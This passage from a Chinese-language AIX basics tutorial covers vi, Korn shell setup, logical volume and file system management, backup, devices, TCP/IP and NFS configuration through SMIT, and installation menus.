加字符的命令为 A ，在当前行后加入若干行新内容的命令为 o ，在当前行之前加 入若干行新内容的命令为 O ，这6个命令都将使 vi 由命令状态转换到插入状态，当 加入新内容后，必须按 ESC 键使 vi 由插入状态切换到命令状态。 <BR><BR>2、删除正文 <BR><BR>在 vi 中删除正文的命令比较多，可以按字符、单词和行等不同的单位进行删除。删除字符的命令将使 vi 继续处于命令状态。下面是各删除键的意义及删除结束后 光标的位置。 <BR><BR>删除键意义删除后光标的位置 <BR>x 键删除光标所在的字符移动到本行中下一个字符 <BR>X 键删除光标前一个字符停留在原来的那个字符 <BR>D 键删除光标至行尾的字符在本行的行尾 <BR>dd 键删除光标所在行移动到下一行 <BR><BR>3、查找或修改正文 <BR><BR>/ 表达式 <BR>？表达式 <BR><BR>前者是表示从当前光标位置开始向后查找，问号表示从当前光标位置开始向前查找 <BR><BR>4、保存文本与退出 vi <BR><BR>: w保存文件内容 <BR><BR>: w ! 强行保存文件内容 <BR><BR>: q退出 vi 状态 <BR><BR>: q !强制退出 vi 状态 <BR><BR>: wq存盘并退出 <BR><BR><BR><BR>Shell <BR><BR>Shell 是一个命令解释器，也是一种程序设计语言。它有Korn shell、 Bourne shell和 C shell等，AIX使用的是K shell。 <BR><BR>1、初始化文件.profile(.dtprofile)和用户环境的订制 <BR><BR>概括地将，.profile应完成确认设置用户终端类型、定义各种必要的shell变量、等等。下面是一个.profile的例子： <BR>PATH=/usr/bin/ : /etc : /usr/sbin : /usr/lib : $HOME/bin : /usr/bin/X11 : /sbin : /bin <BR>export PATH <BR>export PS1='$PWD&gt;' <BR>export EDITOR=/usr/bin/vi <BR>set -o vi <BR>alias dir="ls -l" <BR>在K shell中常见的环境变量有： <BR>PATH 查询程序的路径变量(要分前后顺序) PATH=/usr/bin : /etc <BR>PS1 shell的主提示符 PS1='$PWD&gt;' <BR>PS2 shell的第二提示符 PS2='&gt;' <BR>PWD 当前的工作目录 <BR>TMOUT 无命令输入退出的等待时间(秒) TMOUT=200 <BR>TERM 终端类型 TERM=ibm3151 <BR>HOME 用户的主目录 HOME=/home/user/ <BR>EDITOR 缺省的编辑器 EDITOR=/usr/bin/vi <BR>用命令set可列出当前的变量。 <BR><BR><BR>文件系统和逻辑卷 <BR><BR><BR>一、AIX系统的数据存储方式 <BR><BR>在AIX中，是这样来组织多个硬盘上的数据的： <BR><BR>物理卷PV 单独的硬盘 /dev/hdisk0 , /dev/hdisk1... 可细分为 <BR>物理分区PP <BR>卷组VG 一个或多个硬盘组成。 <BR><BR>从逻辑上讲，在一个卷组VG中，可定义若干个逻辑卷LV。它也可细分为逻辑分区LP。这些逻辑卷LV可用作分页空间(Paging Space)、系统日志(SystemLog)，最多的是用作文件系统FileSystem的载体，这种文件系统称为日志文件系统(JournaledFileSystem)。 <BR><BR>在系统初始安装时，一个名为rootvg的卷组被用来装载BOS。在rootvg卷组中，有一些逻辑分区被用来装载一些特定的系统数据，例如启动数据hd5、日志记录(JL)hd8、分页空间(PagingSpace)hd6等。这样rootvg总是被激活的。 <BR><BR>在每一个卷组VG内的物理卷PV上，至少一个或多个很重要的数据区--卷组描述区(VGDA)。同一个卷组VG的各个物理卷PV上的VGDA内容，正常时应该是一致的。 <BR><BR>在一个卷组VG中，用户可以定义若干个逻辑卷LV，一个逻辑卷在物理上可能是不连续的，有可能跨越了一个卷组中的多个物理卷。可用mklv来创建。一个逻辑卷的大小可利用逻辑分区的数目来确定。每个逻辑分区最多可有三个物理分区与之对应，多个物理分区对应于一个逻辑分区的情况，通常用于对逻辑卷生成镜像。 <BR><BR>这样就有这么一些概念： <BR><BR>卷组VG <BR>物理卷PV <BR>物理分区PP <BR>逻辑卷LV <BR>逻辑分区LP <BR><BR>常用命令： <BR><BR># lsvg显示卷组VG的信息，例如： <BR><BR>(1) lsvg -o <BR><BR>(2) lsvg <BR><BR>(3) lsvg vg02 <BR><BR>(4) lsvg -l vg02 <BR><BR>#varyoffvg使卷组VG不被激活，例如： <BR><BR>(1) varyoffvg cx_vg <BR><BR>#varyonvg使卷组VG被激活，例如： <BR><BR>(1) varyonvg cx_vg <BR><BR># lspv显示物理卷PV的信息，例如： <BR><BR>(1) lspv hdisk0 <BR><BR>(2) lspv -p hdisk2 <BR><BR>(3) lspv <BR><BR>hdisk0 0000000012345678 rootvg <BR>hdisk1 10000BC876543258 rootvg <BR>hdisk2 ABCD000054C23486 cx_vg <BR><BR># lslv 显示逻辑卷LV的信息，例如： <BR><BR>(1) lslv lv03 <BR><BR>(2) lslv -p hdisk2 <BR><BR>(3) lslv -l lv03 <BR><BR># lsps显示Paging space的信息，例如： <BR><BR>(1) lsps -a <BR><BR>Page Space Phy Vol Vol Grp Size %Used Active Auto <BR>hd6 hdisk0 rootvg 1024MB 30 yes yes <BR>(2) lsps -s <BR><BR># lsfs显示文件系统的信息，例如： <BR><BR>(1) lsfs <BR><BR>(2) lsfs -v jfs <BR><BR><BR>二、文件系统的管理 <BR><BR>1、文件系统概述 <BR><BR>在AIX中，文件系统是由若个文件和目录组成的分级树形结构。文件系统通过一个挂接点mount point把自己连接到系统的一个节点上，这样文件系统可以方便地安装、拆卸和备份、恢复。 <BR>在AIX中，一个文件系统总是独占一个逻辑卷，因此系统逻辑卷对文件系统有一定的限制。当然，逻辑卷既可做为一个文件系统的载体，也可做为它用。AIX支持的文件系统类型有日志文件系统jfs，网络文件系统nfs，光盘文件系统cdrfs等等。 <BR>对于一般的日志文件系统，系统在/etc/filesystems文件中都有具体的定义。例如： <BR><BR>/: <BR>dev=/dev/hd4 <BR>vol="root" <BR>mount=automatic <BR>check=false <BR>vfs=jfs <BR>log=/dev/hd8 <BR>type=bootfs <BR>/home: <BR>dev=/dev/hd1 <BR>vol="/home" <BR>mount=true <BR>check=true <BR>vfs=jfs <BR>log=/dev/hd8 <BR>/home/user: <BR>dev=/dev/lv00 <BR>vfs=jfs <BR>log=/dev/hd8 <BR>mount=false <BR>check=true <BR>options=rw <BR><BR>其中check属性表示如果使用fsck命令检测文件系统，此文件是否在检测之列。AIX在系统启动时要调用fsck来检测指定文件系统的完整形。 <BR>mount属性有三个选项：automatic表示在系统初启时此文件系统将被自动载入，相反则用false表示；true表示使用mount all命令来加载。 <BR>vfs表示文件系统的类型，如JFS、NFS。 <BR>log表示此文件系统的日志记录数据将写到的逻辑卷。 <BR>options表示此文件系统的操作属性，如rw表示为可读写。 <BR><BR>2、文件系统的结构 <BR><BR>在AIX中，有五个特定的文件系统，它们是系统安装时自动生成的。 <BR><BR>(1)、/ root文件系统包括AIX系统运行的一些关键性的文件和目录，其中比较重要的有目录/etc，/dev，/usr，/var，/home，文件/unix等。 <BR>在/etc目录下，包括了有关系统的一些配置文件和命令文件。 <BR>在/dev目录下，包含了所有的硬件设备的逻辑文件。 <BR>/unix文件则包含了UNIX操作系统的核心程序 <BR><BR>(2)、/usr文件系统是AIX中最庞大的一个文件系统，它挂接在root文件系统的/usr目录下。 <BR>它包括的内容最常见的有： <BR>/usr/bin目录包括有各种二进制命令文件和SHELL脚本程序。 <BR>/usr/lib目录中主要是各种与平台无关的库文件。 <BR>/usr/lpp目录下包含了安装到AIX中的各种应用软件产品。 <BR>/usr/sbin目录提供给管理员各种用于系统管理的工具。 <BR><BR>(3)、/var文件系统包括了一些有关电子邮件、日志记录、事件跟踪等方面的一些应用程序的文本记录。例如： <BR>/var/adm/wtmp用户的登录记录 <BR>/var/news系统的消息记录 <BR>/var/tmp/*有关的临时文件 <BR>/var/adm/sulog用户使用SU命令的记录 <BR><BR>(4)、为了保存一些临时文件，AIX中设有一个专门的文件系统/tmp。 <BR><BR>(5)、/home文件系统则是专门用来放置用户数据。 <BR>除了这些由系统建立的文件系统外，用户也可以用smit mkfs来建立自己的文件系统。 <BR><BR>3、管理文件系统 <BR><BR>#smit fs <BR>File Systems <BR>List All File Systems <BR>List All Mounted File Systems <BR>Add/Change/Show/Delete File Systems <BR>Mount a File Systems <BR>Mount a Group of File Systems <BR>Unmount a File Systems <BR>Unmount a Group of File Systems <BR>Verify a File Systems <BR>Backup a File Systems <BR>Restore a File Systems <BR>List Contents of a Backup <BR><BR><BR>三、逻辑卷的管理 <BR><BR>对于逻辑卷，在/dev中对应一个流格式和一个块格式的逻辑文件描述： <BR><BR>brw-rw---- 1 root system 19,0 Apr 01 12 : 30 /dev/hdisk0 <BR>crw-rw---- 1 root system 19,0 Apr 01 12 : 30 /dev/rhdisk0 <BR>brw-rw---- 1 root system 10,6 Apr 01 12 : 30 /dev/hd2 <BR>crw-rw---- 1 root system 10,6 Apr 01 12 : 30 /dev/rhd2 <BR><BR><BR>它主要包括有： <BR><BR>Journaled file system日志文件系统 <BR>Paging space分页空间 <BR>Journal log日志记录 <BR>Boot Logical Volume引导逻辑卷 <BR>Raw device裸设备 <BR>Dump Space <BR><BR>我们可以用smit lvm来进行管理和配置 <BR><BR><BR>四、分页空间 <BR><BR>分页空间是位于硬盘上的固定空间，其中保存着一些位于虚拟内存中且当前不被访问的数据。分页空间也可称为交换空间，实际上就是一个逻辑卷。 <BR>在实际系统运行中，如果系统实内存太小，那么位于实内存中最近没有被访问到的数据将被从实内存移到分页空间中，以便为其它的急需要内存资源的作业释放空间。 <BR>在AIX中，缺省的分页空间是/dev/hd6逻辑卷。 <BR>对于一个系统来说，分页空间的管理通常是对以下两个方面来进行的： <BR><BR>(1)、分页空间的数量 <BR>太多的分页空间是一种不必要的浪费，但太少则会影响系统的运行效率，更有甚者可能会造成系统终止。建议在30%~70%之间。 <BR><BR>(2)、分页空间的分布 <BR>分页空间是被频繁访问的区域，所以应当尽量放在硬盘的中心。 <BR><BR><BR>五、系统的备份与恢复 <BR><BR>数据的备份和恢复是UNIX系统中一个重要的工作。在备份过程中，常常要使用compress和pack命令对数据进行压缩。恢复时用uncompress、unpack解压缩。 <BR>数据备份从方式上来说有如下三种： <BR><BR>系统备份 保留整个操作系统的备份映像，可用来恢复操作系统。 <BR>全备份 保留所有用户的全部数据文件和配置信息。 <BR>增强式备份 只对上次备份后的修改部分作备份，备份速度快。 <BR><BR>在系统安装完毕后或系统有任何修改，都应该对ROOTVG作系统备份，方法是： <BR># smit mksysb <BR>[TOP] [Entry Fields] <BR>WARNING: Execution of the mksysb command will <BR>result in the loss of all material <BR>previously stored on the selected <BR>output medium. This command backs <BR>up only rootvg volume group. <BR><BR>* Backup DEVICE or FILE [] +/ <BR>Create MAP files? no + <BR>EXCLUDE files? no + <BR>List files as they are backed up? no + <BR>Generate new /image.data file? yes + <BR>EXPAND /tmp if needed? no + <BR>Disable software packing of backup? no + [MORE...2] <BR><BR>Esc+1=Help Esc+2=Refresh Esc+3=Cancel Esc+4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR><BR>进入smit界面后，把device一栏设成磁带机，然后按回车就行了。 <BR>对于非rootvg卷组，可用savevg命令或smit savevg来作备份。对于一般用户可用backup命令来进行。例如： <BR>backup [-u] [-level] [-f device] [file system] <BR>其中允许使用参数实现增强式备份，如-0，-1，-2，...，等等，其中零级备份即表示全备份。除此以外，AIX还提供了tar、cpio、dd、copy、flcopy、tctl等，请查看随机的CD-ROM文件。 <BR><BR>注意：数据库的备份应使用其提供的方法，才能保证数据库的完整性。 <BR>***************************AIX基础教程（下）************************ <BR>设备的管理和使用 <BR><BR>一、物理设备和逻辑设备 <BR><BR>1、物理设备是指以某种方式与计算机系统相连的实际硬件。例如显示器、终端、磁带机等。 <BR><BR>2、逻辑设备是用户或应用程序访问物理设备的界面，用户或应用程序通过逻辑设备来访问物理设备。 <BR><BR>3、在很多情况下，一个物理设备会对应多个逻辑设备，例如： <BR><BR>/dev/fd0 <BR>/dev/fd0.18 <BR>/dev/fd0h <BR>/dev/fd0l <BR>/dev/rfd0 <BR>/dev/rfd0.18 <BR>/dev/rfd0h <BR>/dev/rfd0l <BR><BR>以上所有的逻辑设备全部对应于同一个物理设备(软盘驱动器)。此外，系统中有一些逻辑设备只是一些虚拟设备，它们不对于任何实际的物理设备，例如/dev/error和 /dev/null。 <BR><BR>4、块设备是一种将信息存放在定长块中的设备。块设备是一种随机访问设备，用户可以随时访问设备中的任意一块。常见的块设备有： <BR><BR>cd0 只读光驱 <BR>fd0 软盘驱动器 <BR>hd1 lv00 逻辑卷 <BR>hdisk0 硬盘 <BR><BR>5、字符设备是一种原始的、面向字符流的顺序存取设备，每次按顺序读写一个字符。常用的字符设备有： <BR>console, lft0, tty 终端 <BR>rmt0 磁带机 <BR>tok0, ent0 网卡 <BR>mem 内存 <BR>rhd1, rlv00 逻辑卷 <BR>rhdisk0 物理卷 <BR><BR><BR>二、设备的分类层次 <BR><BR>1、在AIX系统中，按类、子类、型号三个层次对设备进行分类。 <BR><BR>类(class)是按设备的功能划分的，例如打印机类、硬盘类、适配卡类等。 <BR>子类(subclass)是按设备的某种相似性划分的，例如适配卡类可分为PCI子类和MCA子类。 <BR>型号(type)是按设备的机型或生产厂家划分的，例如磁带机可分为4mm12gb、 8mm20gb等型号。 <BR><BR>2、获取设备信息 <BR><BR># lsdev [-option] <BR><BR>在AIX系统中，有两个关于设备的数据库----Predefined与Customized。Predefined数 据库中记录了AIX系统本身可以支持的所有设备种类；Customized数据库中则记录 了目前你的系统已配置/安装的设备类型。 <BR><BR>Customized数据库中又有两类设备。一种叫Defined设备；另一种叫Available设备。 Defined设备是指它的驱动程序已安装，但系统还没有找到该设备。Available设备则 是指系统已找到该设备及其驱动程序，因此你可以直接使用这个设备。 <BR><BR>这条命令的参数如下： <BR><BR>-P：查看系统Predefined数据库中的设备 <BR>-H：输出时，在第一行加上各列的Title <BR>-c： 指出要查询的设备类型 <BR>-C：查看系统Customized数据库中的设备 <BR><BR>例子： <BR><BR># lsdev -PH <BR><BR>查看系统可以支持的所有设备，其输出如下： <BR><BR>classtype subclass description <BR><BR>adapterethernet isa IBM ISA Ethernet Adapter <BR>adapterppa sio Standard I/O Parallel Port Adapter <BR>adaptertokenring mca Token-Ring High-Performance Adapter <BR>disk 400mb scsi 400MB SCSI Disk Drive <BR>disk osdisk scsi Other SCSI disk <BR>memory memory sys Memory Card <BR>printerosp rs232 Other serial printer <BR>tape 150mb scsi 150MB ?-Inch Tape Drive <BR>tty tty rs232 Asynchronous Terminal <BR>adapterner810 pci Standard SCSI I/O Controller <BR>. . . . . . <BR><BR># lsdev -Pc tape <BR><BR>查看系统可以支持的所有磁带机类型，其输出如下： <BR><BR>tape1200mb scsi1.2GB ?-Inch Tape Drive <BR>tape150mbscsi150MB ?-Inch Tape Drive <BR>. . . . . . <BR><BR># lsdev -CH <BR><BR>查看系统内各个设备的信息，我们可以看到如下信息： <BR><BR>namestatuslocationdescription <BR><BR>sys0Available00-00System Object <BR>bus0Available00-00PCI Bus <BR>bus1Available00-10ISA Bus <BR>ppa0Available00-00-0PStandard I/O Parallel Port Adapter <BR>lp0Available00-00-0P-00IBM 4201 Model Proprinter II <BR>sa0Available00-00-S1Standard I/O Serial Port 1 <BR>tty0Available00-00-S1-00Asynchronous Terminal <BR>mem0Available00-0D16MB Memory Card <BR>scsi0Available00-01SCSI I/O Controller <BR>hdisk0Available00-01-00-0,0400MB SCSI Disk Drive <BR>rmt0Defined 00-01-00-5,C150MB ?-Inch Tape Drive <BR>ent0Available00-02Ethernet Adapter <BR><BR># lsdev -Cc memory <BR><BR>查看所有属于memory设备的信息，其输出如下： <BR><BR>mem0Available00-0D16MB Memory Card <BR>mem1Available00-0432MB Memory Card <BR><BR><BR>3、获取设备的具体信息 <BR><BR># lsattr [-option] [resource name] <BR><BR>这条命令是用来获取某一设备的具体信息的。 <BR><BR>每个逻辑设备在系统中都有一个 Location Code ，这个号码因设备的类型及与之所 连的适配卡而定。 <BR><BR>这条命令的参数如下： <BR><BR>-C：从ODM库中提取customized设备的信息。 <BR>-E：看设备的具体属性。 <BR>-l ： 列出逻辑设备名。 <BR>-c ： 按类来列出设备。 <BR><BR>例子： <BR><BR># lsattr -El sys0 <BR><BR>查看系统本身的配置信息。其输出如下： <BR><BR>keylocknormalState of system keylock at boot timeFalse <BR>maxbuf20Maximum number of pages in block <BR>I/O BUFFER CACHETrue <BR><BR>4、显示系统配置、诊断、VPD(vital product data)的信息 <BR><BR># lscfg <BR>例如： <BR><BR>(1) lscfg <BR><BR>INSTALLED RESOURCE LIST <BR><BR>The following resources are installed on your machine. <BR><BR>+/- = Added/Deleted from Diagnostic Test List. <BR>* = NOT Supported by Diagnostics. <BR><BR>+ sysplanar0 00-00 System Planar <BR>+ fpa0 00-00 Floating Point Processor <BR>+ mem0 00-0A Memory Card <BR>+ mem1 00-0B Memory Card <BR><BR>+ ioplanar0 00-00 I/O Planar <BR>* f2bus0 00-00 Micro Channel Bus <BR>+ rs2320 00-01 RS232 Card <BR>+ tty0 00-01-0-01 RS232 Card Port <BR>- tty1 00-01-0-02 RS232 Card Port <BR><BR>(2) lscfg -v <BR><BR>INSTALLED RESOURCE LIST WITH VPD <BR><BR>The following devices are installed in your system. <BR><BR>sysplanar0 00-00 System Planar <BR><BR>Part Number.........342522 <BR>EC Level............254921 <BR>Serial Number.......353535 <BR><BR>fpa0 00-00 Floating Point Processor <BR>mem0 00-0A Memory Card <BR><BR>EC Level............990221 <BR><BR><BR>三、设备的状态 <BR><BR>在AIX中，设备可以处在下列三种状态之一： <BR><BR>1、Undefined未定义状态 <BR><BR>如果设备处于此状态，则系统没有该设备的任何信息。 <BR><BR>2、Defined已定义状态 <BR><BR>处于此状态，说明系统已经存有该设备的全部信息，并已经给设备分配好逻辑设备名和端口，但当前设备还不能被使用。 <BR><BR>3、Available可用状态 <BR><BR>处于此状态的设备能被正常使用。 <BR><BR>设备可以在这三种状态之间进行转换，可通过命令mkdev -dl和 rmdev -dl来进行，或通过smit dev来实现。 <BR>例如： <BR>(1) mkdev -l rmt0 <BR>rmt0 Available <BR><BR>(2) rmdev -l rmt0 <BR>rmt0 Defined <BR><BR>(3) rmdev -dl rmt0 <BR>rmt0 deleted <BR><BR><BR>四、串行设备 <BR><BR>串行设备是与系统串口相连的设备，一般需要手工配置。 <BR><BR>1、显示所有已定义的TTY设备 <BR><BR>lsdev -Cctty <BR>smit tty <BR><BR>2、增加一个TTY设备 <BR><BR>smit tty <BR>-Add a TTY <BR>-TTY (rs232 rs422) <BR>-Parent Adapter(sa0 Available 00-00-s1 Standard I/O Serial Port1) <BR>(sa1Available 00-00-s2 Standard I/O Serial Port2) <BR>(sa2 Available 00-03-11 8 port Asynchronous Adapter) <BR><BR>Add a TTY <BR><BR>Type or select values in entry fields. <BR>Press Enter AFTER making all desired changes. <BR>[TOP] [Entry Fields] <BR>TTY type tty <BR>TTY interface rs232 <BR>Description Asynchronous Terminal <BR>Parent adapter sa0 <BR>* PORT number [] + <BR>Enable LOGIN disable + <BR>BAUD rate [9600] + <BR>PARITY [none] + <BR>BITS per character [8] + <BR>Number of STOP BITS [1] + <BR>TIME before advancing to next port setting [0] +# <BR>TERMINAL type [dumb] <BR>FLOW CONTROL to be used [xon] + [MORE...31] <BR><BR>F1=Help F2=Refresh F3=Cancel F4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR>在这个对话框中，须填写PORT number一项，使用F4键得到选项列表，按所需的来选出合适的PORT number。 <BR><BR>3、与TTY有关的命令 <BR><BR>pdisable [-a] [device]命令暂时禁用一个TTY设备 <BR>penable命令则解除对TTY设备的禁用 <BR>stty [-a] [-g] [options]命令设置或显示TTY设备的属性 <BR><BR><BR>五、磁带机和软盘的使用 <BR><BR>1、格式化软盘 <BR><BR>format -d /dev/rfd0 <BR>注意：在UNIX系统中格式化的软盘不能在DOS中使用。 <BR><BR>2、软盘拷贝 <BR><BR>flcopy命令用于将一个软盘中的内容拷贝到另一张软盘上。 <BR><BR>3、用软盘或磁带转存文件 <BR><BR>使用cpio命令可将硬盘文件拷贝到磁带或软盘上。 <BR>例如，将当前目录下所有以C为后缀的文件拷贝到软盘上： <BR>ls *.C | cpio -ov &gt; /dev/rfd0 <BR>例如，将当前目录的所有文件和子目录拷贝到软盘上： <BR>find . -print | cpio -ov &gt; /dev/rfd0 <BR><BR>使用cpio命令可将文件从软盘或磁带拷贝恢复到硬盘上。 <BR>例如，将软盘的文件拷贝到硬盘： <BR>cpio -iv &lt; /dev/rfd0 <BR>例如，列出fd0的文件： <BR>cpio -itr &lt; /dev/rfd0 <BR>例如，将软盘的文件拷贝到当前目录： <BR>cpio -idmv &lt; /dev/rfd0 <BR><BR>tar命令 <BR>tar cvf <BR>tar xvf <BR>tar tvf <BR><BR>4、磁带机的属性 <BR><BR>(1)、块大小block-size <BR><BR>数据在磁带上是按块来存放的，块与块之间有一定的间隔标志。当对磁带进行读写操作时，需要知道块的大小。将块大小设置为较大的值时可以向磁带写入更多的信息，因为这样做会减少块与块之间间隔的数目。当块大小设置为零时，表示磁带机使用可变长度的块。 <BR>可通过smit tape--Change/Show Characteristics of a Tape Drive来设置或查看块大小。 <BR><BR>(2)、缓冲区use DEVICE BUFFERS during writes <BR><BR>当缓冲区属性设为YES时，应用程序将数据写入设备缓冲区后即被告知完成写操作。当缓冲区属性设为NO时，只有当数据真正写入磁带后，应用程序才被告知完成写操作。此值缺省为YES。 <BR><BR><BR>AIX的网络通信 <BR><BR><BR>一、配置和运行TCP/IP <BR><BR>1、在配置TCP/IP前，需知道： <BR><BR>主机名和域名 <BR>IP地址和子网掩码 <BR>路由器的IP地址 <BR>域名服务器的IP地址 <BR><BR>smit tcpip <BR>-Minimum Configuration &amp; Startup <BR>Minimum Configuration &amp; Startup <BR><BR>To Delete existing configuration data, please use Further Configuration menus <BR><BR>Type or select values in entry fields. <BR>Press Enter AFTER making all desired changes. <BR>[Entry Fields] <BR>* HOSTNAME [ ] <BR>* Internet ADDRESS (dotted decimal) [ ] <BR>Network MASK (dotted decimal) [ ] <BR>* Network INTERFACE en0 <BR>NAMESERVER <BR>Internet ADDRESS (dotted decimal) [ ] <BR>DOMAIN Name [ ] <BR>Default GATEWAY Address [ ] <BR>(dotted decimal or symbolic name) <BR>Your CABLE Type N/A + <BR>START Now no + <BR><BR><BR>F1=Help F2=Refresh F3=Cancel F4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR>在域中输入正确的值，按ENTER键即可完成TCP/IP的配置。 <BR>如果值有变化，第二次可用smit chinet来设置。例如： <BR><BR>smit chinet <BR><BR>[Entry Fields] <BR>Network Interface Name en0 <BR>Internet ADDRESS (dotted decimal) [] <BR>Network MASK (dotted decimal) [] <BR>Current STAT up <BR><BR><BR>F1=Help F2=Refresh F3=Cancel F4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR><BR><BR>2、TCP/IP的启动 <BR><BR>TCP/IP启动时需要两个启动文件：/etc/rc.net和/etc/rc.tcpip。文件/etc/rc.net用于配置网络界面，设置路由；而/etc/rc.tcpip用于启动tcpip后台服务进程。 <BR><BR><BR>二、TCP/IP常用的命令 <BR><BR>1、ping <BR><BR>2、telnet <BR><BR>3、ftp <BR>/etc/ftpusers <BR><BR>4、netstat显示网络状态，例如： <BR><BR>(1) netstat -in <BR><BR>(2) netstat -rn <BR><BR><BR>三、网络文件系统NFS <BR><BR>NFS是一种能较好共享远程文件的方案。它采用客户/服务器结构，NFS服务器提供共享文件供客户访问，NFS客户通过网络请求服务器的资源。一台主机可同时作为NFS服务器和NFS客户机。 <BR><BR>1、NFS的服务进程 <BR><BR>NFS客户机的进程：biod, rpc.statd, rpc.locked <BR>NFS服务器的进程：rpc.mountd, nfsd, rpc.statd, rpc.lockd <BR><BR>2、配置NFS服务器 <BR><BR>在配置NFS以前，需要确认已经： <BR>安装和配置了TCP/IP <BR>安装了NFS软件(bos.net.nfs) <BR>明确了网络中那些是NFS服务器和客户机 <BR>确定了NFS服务器上需要共享的目录 <BR><BR>smit nfs <BR>-Network File System(NFS) <BR>-Add a Directory to Exports List <BR>Add a Directory to Exports List <BR><BR>Type or select values in entry fields. <BR>Press Enter AFTER making all desired changes. <BR>[Entry Fields] <BR>* PATHNAME of directory to export [ ] / <BR>* MODE to export directory read-write + <BR>HOSTS &amp; NETGROUPS allowed client access [ ] <BR>Anonymous UID [-2] <BR>HOSTS allowed root access [ ] <BR>HOSTNAME list. If exported read-mostly [ ] <BR>Use SECURE option? no + <BR>Public filesystem? no + <BR>* EXPORT directory now, system restart or both both + <BR>PATHNAME of alternate Exports file [ ] <BR><BR><BR>F1=Help F2=Refresh F3=Cancel F4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR>其中PATHNAME of directory to export表示共享出去的目录的路径 <BR>MODE to export directory表示共享目录的模式 <BR>HOSTS &amp; NETGROUPS allowed client access表示允许访问该共享目录的客户机名，如果空白，则允许所有的客户机访问 <BR><BR>3、配置NFS客户机 <BR><BR>(1)、用nkdir命令建立一个本地安装点 <BR><BR>mkdir /home/mntpt <BR><BR>(2)、启动NFS客户进程 <BR><BR>smit mknfs <BR>Start NFS <BR><BR>Type or select values in entry fields. <BR>Press Enter AFTER making all desired changes. <BR>[Entry Fields] <BR>* START NFS now, on system restart or both both + <BR><BR><BR>F1=Help F2=Refresh F3=Cancel F4=List <BR>Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image <BR>Esc+9=Shell Esc+0=Exit Enter=Do <BR><BR>(3)安装网络文件系统 <BR><BR>mount server1:/export_file /home/mntpt <BR><BR><BR>SMIT工具 <BR><BR><BR>SMIT(SMITTY)为用户提供了一个灵活的工具来管理系统。下面介绍一些SMIT中符号和功能键的意义 <BR>* 所需要的值，这个域必须填入值 <BR># 这个域需要填入数字 <BR>/ 这个域需要填入路径 <BR>X 这个值需要填入一个16进制的数 <BR>？ 这个值不会显示 <BR>+ 一个下拉式列表，按F4键显示列表 <BR>F1(ESC-1) 显示上下文帮助 <BR>F2(ESC-2) 刷新 <BR>F3(ESC-3) 注销，返回上一级菜单 <BR>F4(ESC-4) 列表，给出可选的列表值 <BR>F5(ECS-5) 初始化，恢复一个输入域的原始数据 <BR>F6(ESC-6) 命令，显示要执行的AIX命令 <BR>F7(ESC-7) 编辑，编辑一个下拉式菜单或下拉表中的一项 <BR>F8(ESC-8) 镜像，将当前的屏幕存到一个文件中并将当前的快速路径显示出来 <BR>F9(ESC-9) 外壳，启动一个子外壳 <BR>F10(ESC-10)退出，立即退出SMIT菜单 <BR>ENTER 开始执行当前行 <BR>/TEXT 在输出中查找文本 <BR>n查找下一个出现要查找的文本的地方 <BR><BR>SMIT的日志文件在$HOME目录下，名为smit.log，它保存了所有被访问的菜单和对话框，还有所有被执行的命令和输出，以及运行过程中产生的错误。smit.script文件则保存了SMIT执行的所有的AIX命令。 <BR><BR><BR><BR>AIX系统的安装 <BR><BR><BR>安装前必须已满足IBM的装机条件和所有的硬件设备已连接好。 <BR>打开外接设备和系统的电源，假设从光盘启动，在电源打开以后系统将从光盘启动。 <BR>在选择好控制台和安装所用到的语言环境之后系统将出现提示信息供用户选择所需要的功能 <BR><BR>Welcome to Base Operating System <BR>Installation and Maintenance <BR><BR>Type the numbers of your choice and press Enter. Choice indicated by&gt;&gt;&gt; <BR><BR>1. Start Install now with Default Settings <BR>2. Change/Show Installation Settings and Install <BR>3. Start Maintenance Mode for System Recovery <BR><BR><BR>88. Help? <BR>&gt;&gt;&gt;Choice[1]: <BR><BR>其中第三项是为了修复系统中出现的某些错误而设置的单用户环境。 <BR>第一项是如果不希望改动任何缺省设置的话，就选择1开始安装。 <BR>第二项是更改或查看系统安装的设置。在第二项的子菜单中，有三个选项可以被改变： <BR><BR>Installation Settings <BR><BR>Enter type 0 or press Enter to install with current settings, or type the number of the setting you want to change and press Enter. <BR><BR>1. System Settings <BR>Method of installation-------------------------------------New and Complet Overwrite <BR>Disk where you want to install----------------------------hdisk0 <BR><BR>2. Primary Language Environment Settings ( After install ) <BR>Cultural Convention-----------------------------------C ( POSIX ) <BR>Language------------------------------------------------C ( POSIX ) <BR>Keyboard------------------------------------------------C ( POSIX ) <BR><BR>3. Install Trusted Computing Base---------------------------no <BR><BR>0. Install with the settings listed above <BR><BR>88. Help? <BR>99. Previous Menu <BR><BR>&gt;&gt;&gt;Choice[1]: <BR><BR>其中选项1是全新安装。使用这种方法安装系统将会覆盖用户所选择目标盘上的所有数据。 <BR>选项2是迁移安装。 这种方法常用来做系统升级(例如从AIX3.2升级到AIX4.1)，使用这种方法安装时，除了tmp以外的所有文件系统的内容都会被保留。但一些AIX设备驱动的软件必须重新安装。 <BR>选项3是保留安装。 如果用户希望保留rootvg卷组中的用户数据，则可选择这种安装方法。此时/usr、/tmp、/var和/文件系统中的所有数据都将被覆盖，系统安装完后还须重新配置。 <BR><BR>当以上参数都选择完后就可以开始安装系统了。 <BR><BR>系统安装完后会自动重新启动，且出现install_assist的画面供用户进行基本的配置。 <BR><BR><BR>其它实用的技巧 <BR><BR>1、查看软件版本的命令 <BR><BR># oslevel <BR># lslpp -l <BR><BR>oslevel 是用来查看AIX操作系统的版本。 <BR><BR>而 lslpp -l 是用来查看系统具体每个文件包的版本。 <BR><BR>例子： <BR><BR># lslpp -l &gt; lpp.txt <BR><BR>则 lpp.txt 中包含如下信息： <BR><BR>Fileset Level State Description ----------------------------------------------------------------------------Path: /usr/lib/objrepos <BR>IMNSearch.bld.DBCS 1.2.0.4 COMMITTED NetQuestion DBCS Buildtime Modules <BR>IMNSearch.bld.SBCS 